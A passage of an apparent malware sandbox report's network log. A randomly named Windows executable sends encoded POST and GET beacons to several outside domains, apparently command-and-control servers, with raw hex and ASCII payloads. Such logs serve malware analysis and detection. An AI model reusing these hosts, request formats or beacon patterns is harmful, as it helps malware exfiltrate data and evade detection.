                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746897936 CEST1236INData Raw: 14 fc d4 8b 67 50 d1 d9 0d c1 33 3c 1e 0f 9c a6 80 39 f8 62 06 71 00 30 59 aa 12 c3 44 98 b5 2f e0 bc 0c ae 3f 70 71 5f 0c f7 e0 41 76 83 d0 87 19 fe 99 33 b1 88 45 c4 70 7e 0a 43 73 98 c6 39 02 78 4d 30 cd 64 e8 5d ef 3a 56 03 07 b3 fb 5e 86 e2
                                                                                                                                                                                                      Data Ascii: gP3<9bq0YD/?pq_Av3Ep~Cs9xM0d]:V^w: $Zu}ok>RWJl&GmdM2(@]48em,0-1duT1{WM`;NMWj_6-90Jjl\IZ
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746908903 CEST1236INData Raw: d5 c5 fe aa fa 95 0f 01 c5 e6 fb 06 91 bc fc 15 c3 09 04 33 44 91 ef b0 f7 0c 27 10 e4 78 02 7a 8f 27 53 7c 14 d1 bc f8 ff ba 38 dd 66 fc 43 ee 85 2f 76 fc f6 59 f9 5b cd 4a 5d 7f 26 bf 81 e7 bf b6 53 fe 57 11 bd 37 ac fd b6 cf ff 01 00 00 ff ff
                                                                                                                                                                                                      Data Ascii: 3D'xz'S|8fC/vY[J]&SW7]oF+,ZI$iAn%8cxDHDSs73bF,7(<!kAH*F0k(HC6b2lcXbPj)Oocw?Qf#F,wXJ6Fo1p+-
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746922016 CEST1236INData Raw: 64 2d 20 d2 ab d8 87 c7 58 98 fb 34 7f 4a a1 38 07 e2 ea 08 94 64 8d 41 f3 03 85 bd 20 b6 da ad 8f c4 3e cf c9 fe 51 5d 01 78 f3 d3 d9 a9 fe fa 97 ff fe 72 f2 f4 15 1c 69 b8 89 8f c1 db 16 ab a0 82 24 39 46 32 cf f5 70 b6 35 91 a4 63 df 3a 36 91
                                                                                                                                                                                                      Data Ascii: d- X4J8dA >Q]xri$9F2p5c:6|Vc[}^Ti_@l<=^,NV0x%Tk\]4Stv1x#)~jK((ydeCW*Egx2Xf)
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746936083 CEST776INData Raw: 0f df 2f 62 f1 ae 15 5d 85 c5 db a9 3f 0a 3c d8 b8 32 d2 7e 1c c3 09 1a 47 02 4e e2 15 0e 3f 55 25 9e 71 ee 3d 06 df 63 f0 d7 3e f2 5b 63 b0 65 ef 1a 84 b1 c5 dd d8 69 89 c0 fa 7a 5b 5e 8d cd 6b c0 ab ff 85 c0 ab bf d5 a0 44 74 4c 06 2d 13 2f fd
                                                                                                                                                                                                      Data Ascii: /b]?<2~GN?U%q=c>[ceiz[^kDtL-/z@*'S9G{$G~{$mjNC/A$:63A?S8)2ls-`T|dY[^N]e=*>MV*Q?/F
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.748717070 CEST1236INData Raw: a6 48 bf 84 8a 0e 69 ec 8f 9d 91 5b f4 1e 3b 5e 3d a8 39 89 29 c1 66 a3 a9 5c 32 06 ec 9c 0c 3b 52 9a c6 37 82 50 9e ef 95 60 ec d0 aa 30 a6 f0 9b 54 f8 0b c8 25 61 60 d0 a6 4b 77 2e 40 93 0d 30 a2 01 06 36 ac c8 5e 01 06 4a 3e 12 01 20 0e e3 99
                                                                                                                                                                                                      Data Ascii: Hi[;^=9)f\2;R7P`0T%a`Kw.@06^J> 5FmYMv8b9mkl&k=@(a."^6o:zRwRVu'5@5ThZ#/gGB=xbILPwK.m<Y(iHLL6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.748774052 CEST224INData Raw: 8b 13 d9 1f 51 02 fc 69 e6 fa 94 1e 78 61 84 27 4d 71 e0 52 7a 80 94 1f 24 58 3a 52 3d 74 1f fc b0 4e 8a e0 41 38 32 32 26 61 94 d6 e5 82 2e 40 41 51 2d 37 b5 dd c8 93 ec 54 2f 58 85 13 af a9 77 1f da 8f f9 b4 f2 68 52 e9 56 af a6 63 1b 7a 45 75
                                                                                                                                                                                                      Data Ascii: Qixa'MqRz$X:R=tNA822&a.@AQ-7T/XwhRVczEuzFt4D{F:_K?ZK6070[m7Z&Sgkl^7hk"+&:)82<R;b4XzHV$$~CL,g_
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.748785019 CEST886INData Raw: ed b2 4e 47 3d 20 58 6c d7 00 41 d0 27 a0 36 48 ae 8a 51 31 db 62 2f c8 99 69 2e fb a2 58 6e 5b ac cb cc 15 c8 92 e8 37 8e a3 b6 b1 e8 ae 72 dd ae 5b f0 1b 28 43 eb de bb 92 22 a0 c7 d4 9b b0 25 d8 a2 fc ae 3f ed 8f 42 e6 5d 82 5d 33 21 32 4c d7
                                                                                                                                                                                                      Data Ascii: NG= XlA'6HQ1b/i.Xn[7r[(C"%?B]]3!2L(gt,q2UxKEk1sv=JD[SQ9GEq,L??Qc/JG#H^:7%G?q#ekh 6IX1.O0`BYU>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      36192.168.2.66543451.89.21.214804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:07.349704981 CEST521OUTGET /0or4/?LvYDDv8X=Lp5/+vi9YY8K7Nvy6f6VObBvt5W1Wqb+NoCw3K6ZHUsEKgtrUQsQIt64QLBx0zRFj9J9bsKt5Xa0RC5qKRCiy4p+yBa6h1uMNADpkO7YzXcGYziLF6ydhNRpo2AwT7uwfJ2myGQ=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.wanderworld.info
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Oct 9, 2024 14:47:08.285656929 CEST520INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:47:07 GMT
                                                                                                                                                                                                      Server: Apache
                                                                                                                                                                                                      Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                      Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                      X-UA-Compatible: IE=edge
                                                                                                                                                                                                      X-Redirect-By: WordPress
                                                                                                                                                                                                      Location: http://wanderworld.info/0or4/?LvYDDv8X=Lp5/+vi9YY8K7Nvy6f6VObBvt5W1Wqb+NoCw3K6ZHUsEKgtrUQsQIt64QLBx0zRFj9J9bsKt5Xa0RC5qKRCiy4p+yBa6h1uMNADpkO7YzXcGYziLF6ydhNRpo2AwT7uwfJ2myGQ=&uDe8o=HnM0Zn40QtgXtNk0
                                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Type: text/html; charset=UTF-8


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      37192.168.2.66543513.248.169.48804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.349298000 CEST769OUTPOST /gs9g/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.catholic.today
                                                                                                                                                                                                      Origin: http://www.catholic.today
                                                                                                                                                                                                      Referer: http://www.catholic.today/gs9g/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 213
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 53 69 4c 42 71 67 65 70 77 48 54 43 2b 61 35 33 72 77 69 69 73 73 6d 43 59 42 41 75 68 57 73 71 37 47 49 65 69 47 73 6e 2f 74 48 33 58 63 67 70 47 2f 66 45 6c 6c 66 59 6f 52 30 52 70 59 2f 34 42 46 49 4c 4f 70 68 71 5a 53 75 65 63 62 53 77 57 37 67 48 51 7a 6d 75 4f 4d 55 58 4c 6e 31 59 7a 4f 2b 57 46 33 56 38 32 62 54 6c 6d 31 57 36 59 78 31 76 41 63 46 7a 42 50 2b 67 4c 6d 77 4c 47 43 43 78 49 63 38 2b 31 39 6e 6f 36 6e 76 6a 66 63 37 42 65 53 4a 50 59 4e 73 52 31 66 69 6f 55 4b 35 64 47 30 6e 33 53 7a 6e 45 38 41 6a 6d 47 6b 6a 43 65 77 55 66 59 4c 4c 6b 64 62 2b 55 45 59 34 6c 31 61 4f 51 7a 57 50 57
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=SiLBqgepwHTC+a53rwiissmCYBAuhWsq7GIeiGsn/tH3XcgpG/fEllfYoR0RpY/4BFILOphqZSuecbSwW7gHQzmuOMUXLn1YzO+WF3V82bTlm1W6Yx1vAcFzBP+gLmwLGCCxIc8+19no6nvjfc7BeSJPYNsR1fioUK5dG0n3SznE8AjmGkjCewUfYLLkdb+UEY4l1aOQzWPW


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      38192.168.2.66543613.248.169.48804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:15.893946886 CEST793OUTPOST /gs9g/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.catholic.today
                                                                                                                                                                                                      Origin: http://www.catholic.today
                                                                                                                                                                                                      Referer: http://www.catholic.today/gs9g/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 237
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 53 69 4c 42 71 67 65 70 77 48 54 43 76 4b 70 33 34 44 4b 69 6c 73 6d 42 47 52 41 75 37 6d 73 6d 37 47 55 65 69 48 34 33 2f 62 58 33 58 35 63 70 48 2b 66 45 70 46 66 59 6a 78 31 62 74 59 2f 6a 42 46 4e 38 4f 6f 64 71 5a 53 4b 65 63 61 4f 77 44 59 34 59 52 6a 6d 73 43 73 55 56 46 48 31 59 7a 4f 2b 57 46 33 41 58 32 61 37 6c 6d 45 6d 36 5a 54 64 73 65 4d 46 38 43 50 2b 67 61 32 77 48 47 43 43 66 49 63 4e 6a 31 37 72 6f 36 6d 66 6a 66 70 62 47 58 53 4a 4a 56 74 74 67 39 74 6a 50 55 62 51 70 48 33 6d 58 4e 68 62 4f 77 57 69 38 61 58 6a 68 4d 67 30 64 59 4a 54 57 64 37 2b 2b 47 59 41 6c 6e 4e 43 33 38 69 71 31 53 73 79 6e 34 78 6c 49 74 57 73 7a 59 2f 78 54 48 53 4d 50 4a 41 3d 3d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=SiLBqgepwHTCvKp34DKilsmBGRAu7msm7GUeiH43/bX3X5cpH+fEpFfYjx1btY/jBFN8OodqZSKecaOwDY4YRjmsCsUVFH1YzO+WF3AX2a7lmEm6ZTdseMF8CP+ga2wHGCCfIcNj17ro6mfjfpbGXSJJVttg9tjPUbQpH3mXNhbOwWi8aXjhMg0dYJTWd7++GYAlnNC38iq1Ssyn4xlItWszY/xTHSMPJA==


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      39192.168.2.66543713.248.169.48804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:18.448576927 CEST1806OUTPOST /gs9g/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.catholic.today
                                                                                                                                                                                                      Origin: http://www.catholic.today
                                                                                                                                                                                                      Referer: http://www.catholic.today/gs9g/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 1249
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 53 69 4c 42 71 67 65 70 77 48 54 43 76 4b 70 33 34 44 4b 69 6c 73 6d 42 47 52 41 75 37 6d 73 6d 37 47 55 65 69 48 34 33 2f 62 66 33 57 4c 45 70 48 64 48 45 71 46 66 59 75 52 31 61 74 59 2f 69 42 44 6c 34 4f 6f 51 58 5a 51 43 65 64 34 71 77 53 4a 34 59 66 6a 6d 73 4b 4d 55 55 4c 6e 31 33 7a 49 65 53 46 30 34 58 32 61 37 6c 6d 48 75 36 66 42 31 73 63 4d 46 7a 42 50 2b 6b 4c 6d 78 51 47 43 62 69 49 64 35 7a 31 4c 4c 6f 36 47 50 6a 4d 39 37 47 4c 43 4a 4c 53 74 74 34 39 74 76 51 55 62 64 51 48 30 37 34 4e 68 76 4f 7a 69 4c 72 48 47 50 58 5a 7a 74 38 46 4a 54 73 62 65 50 41 4f 59 51 76 6f 65 4f 41 79 69 79 70 54 71 43 6c 78 6a 38 61 6e 56 34 67 48 4a 63 32 49 43 4a 66 53 42 6f 43 34 6a 42 6d 78 64 72 31 61 49 6a 2f 43 78 4a 61 78 4d 53 77 6a 41 45 39 34 73 64 64 46 55 61 52 57 43 4c 53 39 62 31 36 78 54 64 36 35 34 6d 62 61 66 72 53 61 38 46 79 55 2b 6e 41 37 77 59 4e 78 6a 5a 64 33 30 74 66 7a 58 4f 78 33 5a 55 71 4f 4a 65 71 4b 5a 32 39 6b 46 58 38 61 6d 77 7a 46 30 4d 54 55 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=SiLBqgepwHTCvKp34DKilsmBGRAu7msm7GUeiH43/bf3WLEpHdHEqFfYuR1atY/iBDl4OoQXZQCed4qwSJ4YfjmsKMUULn13zIeSF04X2a7lmHu6fB1scMFzBP+kLmxQGCbiId5z1LLo6GPjM97GLCJLStt49tvQUbdQH074NhvOziLrHGPXZzt8FJTsbePAOYQvoeOAyiypTqClxj8anV4gHJc2ICJfSBoC4jBmxdr1aIj/CxJaxMSwjAE94sddFUaRWCLS9b16xTd654mbafrSa8FyU+nA7wYNxjZd30tfzXOx3ZUqOJeqKZ29kFX8amwzF0MTUaehUelbityt7rIe8NjVzebFqJFmgaZIDUrbp5A6NA3vHAdo2KXIA7hy/jEne33IMKXEnA3TE5LhSs6+4OLrXcYUwG0pkIeH7sA0vh2iEn82b5jh0Z53BU+9c8mf2U/EZUE84XMVqM6X3vVXE+i4jPcK4pny8hQZGkklRpTbA0kX/NmuBT0wclhgzOnoqLNjZ+NAY8lztBmY9o+6qaH0xg52QEjNmj0coVcu+uOBkf8LI3+thLBW7lsaJqckT2ES9DYtEgpZ5SEjHm78t/469xuySCITSJGA/KbjqHfyVTZrTimgybn4llZiYhJxyuriCofSW23KxwpgEo5Vobj0cBfoKtAMgQsFcMmvAvYB7FB5ULx/ATCyrFQc9lD0iVuzPh46EzeMWg5f9cKVUm80szEAxYTLHuEkvJjClLI8onaJgGOv8lxP43l2qReKz3gxnmZwCEGcdgjIdxa35vS6zq0gEaU3LVwoYtBrO9svaWZmmFRFzBD+iwwbteHkdLtUmpOOhVNhRz/uQq6vcZSp/RvERF5vfaM+uEgk94E8rogFn9nTKvuFmMjDJEhhos0HFzYBWIEPtAfely9Qg3vxwe2QbEd6X49+qR1YZypJYeH9ky8jwhYVdnlUwqJ/LR47KxWaHa5j6e8rJ5Y9llgmrp21wd0cne/PgaX [TRUNCATED]


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      40192.168.2.66543813.248.169.48804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:20.984534979 CEST519OUTGET /gs9g/?uDe8o=HnM0Zn40QtgXtNk0&LvYDDv8X=fgjhpXTgznrly9cd/x+t/tGCGyBlwGVdiWQYwkk4+4TOYowlLdX+lWndswJh7474EBNIRugKPRfxSqi+QO8RayzSTKc8PmBEtK+hPll3yIr/knOfBwNNJv85TaKMOWlzFTu5EIw= HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.catholic.today
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Oct 9, 2024 14:47:21.631108046 CEST423INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: openresty
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:47:21 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Content-Length: 283
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 75 44 65 38 6f 3d 48 6e 4d 30 5a 6e 34 30 51 74 67 58 74 4e 6b 30 26 4c 76 59 44 44 76 38 58 3d 66 67 6a 68 70 58 54 67 7a 6e 72 6c 79 39 63 64 2f 78 2b 74 2f 74 47 43 47 79 42 6c 77 47 56 64 69 57 51 59 77 6b 6b 34 2b 34 54 4f 59 6f 77 6c 4c 64 58 2b 6c 57 6e 64 73 77 4a 68 37 34 37 34 45 42 4e 49 52 75 67 4b 50 52 66 78 53 71 69 2b 51 4f 38 52 61 79 7a 53 54 4b 63 38 50 6d 42 45 74 4b 2b 68 50 6c 6c 33 79 49 72 2f 6b 6e 4f 66 42 77 4e 4e 4a 76 38 35 54 61 4b 4d 4f 57 6c 7a 46 54 75 35 45 49 77 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                      Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?uDe8o=HnM0Zn40QtgXtNk0&LvYDDv8X=fgjhpXTgznrly9cd/x+t/tGCGyBlwGVdiWQYwkk4+4TOYowlLdX+lWndswJh7474EBNIRugKPRfxSqi+QO8RayzSTKc8PmBEtK+hPll3yIr/knOfBwNNJv85TaKMOWlzFTu5EIw="}</script></head></html>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      41192.168.2.665439129.226.176.90804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:26.790736914 CEST757OUTPOST /uhl0/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.xueerr.xyz
                                                                                                                                                                                                      Origin: http://www.xueerr.xyz
                                                                                                                                                                                                      Referer: http://www.xueerr.xyz/uhl0/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 213
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 65 7a 39 37 70 79 73 32 32 54 67 53 79 59 33 66 73 31 58 38 63 68 47 39 68 70 6b 4d 62 39 48 5a 57 33 67 75 48 7a 38 4b 76 79 47 31 37 4c 6b 35 32 35 79 32 56 47 4d 6f 4b 6a 55 72 6f 54 42 6a 51 74 59 4c 6d 6c 31 4f 49 62 35 74 77 38 43 58 53 7a 74 37 6f 64 48 31 49 69 59 2b 46 35 45 63 59 51 33 37 4e 38 69 45 4c 65 53 70 77 65 73 41 63 79 79 52 67 31 4a 73 41 78 63 50 6f 70 38 39 46 62 57 45 6a 4b 55 58 37 53 53 4a 59 67 34 6b 66 41 69 69 48 4b 70 72 77 79 76 36 6e 69 70 6d 63 4c 79 36 42 4d 56 59 79 4f 33 46 74 44 78 42 6e 6e 53 4f 78 4d 7a 71 73 67 53 79 2f 53 37 31 6b 6b 6f 63 4e 66 51 4e 48 41 6e 46
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=ez97pys22TgSyY3fs1X8chG9hpkMb9HZW3guHz8KvyG17Lk525y2VGMoKjUroTBjQtYLml1OIb5tw8CXSzt7odH1IiY+F5EcYQ37N8iELeSpwesAcyyRg1JsAxcPop89FbWEjKUX7SSJYg4kfAiiHKprwyv6nipmcLy6BMVYyO3FtDxBnnSOxMzqsgSy/S71kkocNfQNHAnF
                                                                                                                                                                                                      Oct 9, 2024 14:47:27.685687065 CEST697INHTTP/1.1 400 Bad Request
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:47:27 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Content-Length: 552
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      42192.168.2.665440129.226.176.90804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:29.565551043 CEST781OUTPOST /uhl0/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.xueerr.xyz
                                                                                                                                                                                                      Origin: http://www.xueerr.xyz
                                                                                                                                                                                                      Referer: http://www.xueerr.xyz/uhl0/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 237
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 65 7a 39 37 70 79 73 32 32 54 67 53 79 34 6e 66 71 57 50 38 5a 42 47 2b 2f 35 6b 4d 53 64 48 64 57 33 73 75 48 33 6b 6b 76 45 32 31 36 70 38 35 33 34 79 32 55 47 4d 6f 42 44 55 75 32 6a 42 57 51 74 55 35 6d 6c 35 4f 49 62 64 74 77 39 79 58 53 41 31 34 6f 4e 48 33 44 43 59 34 50 5a 45 63 59 51 33 37 4e 38 6d 2b 4c 65 4b 70 77 76 63 41 54 7a 79 53 70 56 4a 7a 46 42 63 50 73 70 38 68 46 62 57 6d 6a 49 78 79 37 52 36 4a 59 69 51 6b 52 78 69 6c 4e 4b 6f 42 2b 53 75 36 72 44 45 73 45 72 6a 6b 4a 73 77 2b 73 2b 53 6a 6f 31 77 62 37 55 53 74 6a 63 54 6f 73 69 4b 41 2f 79 37 66 6d 6b 51 63 66 49 63 71 49 30 43 6d 34 77 63 65 63 47 38 67 34 48 31 73 47 6c 56 70 32 68 72 78 58 77 3d 3d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=ez97pys22TgSy4nfqWP8ZBG+/5kMSdHdW3suH3kkvE216p8534y2UGMoBDUu2jBWQtU5ml5OIbdtw9yXSA14oNH3DCY4PZEcYQ37N8m+LeKpwvcATzySpVJzFBcPsp8hFbWmjIxy7R6JYiQkRxilNKoB+Su6rDEsErjkJsw+s+Sjo1wb7UStjcTosiKA/y7fmkQcfIcqI0Cm4wcecG8g4H1sGlVp2hrxXw==
                                                                                                                                                                                                      Oct 9, 2024 14:47:30.444994926 CEST697INHTTP/1.1 400 Bad Request
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:47:30 GMT
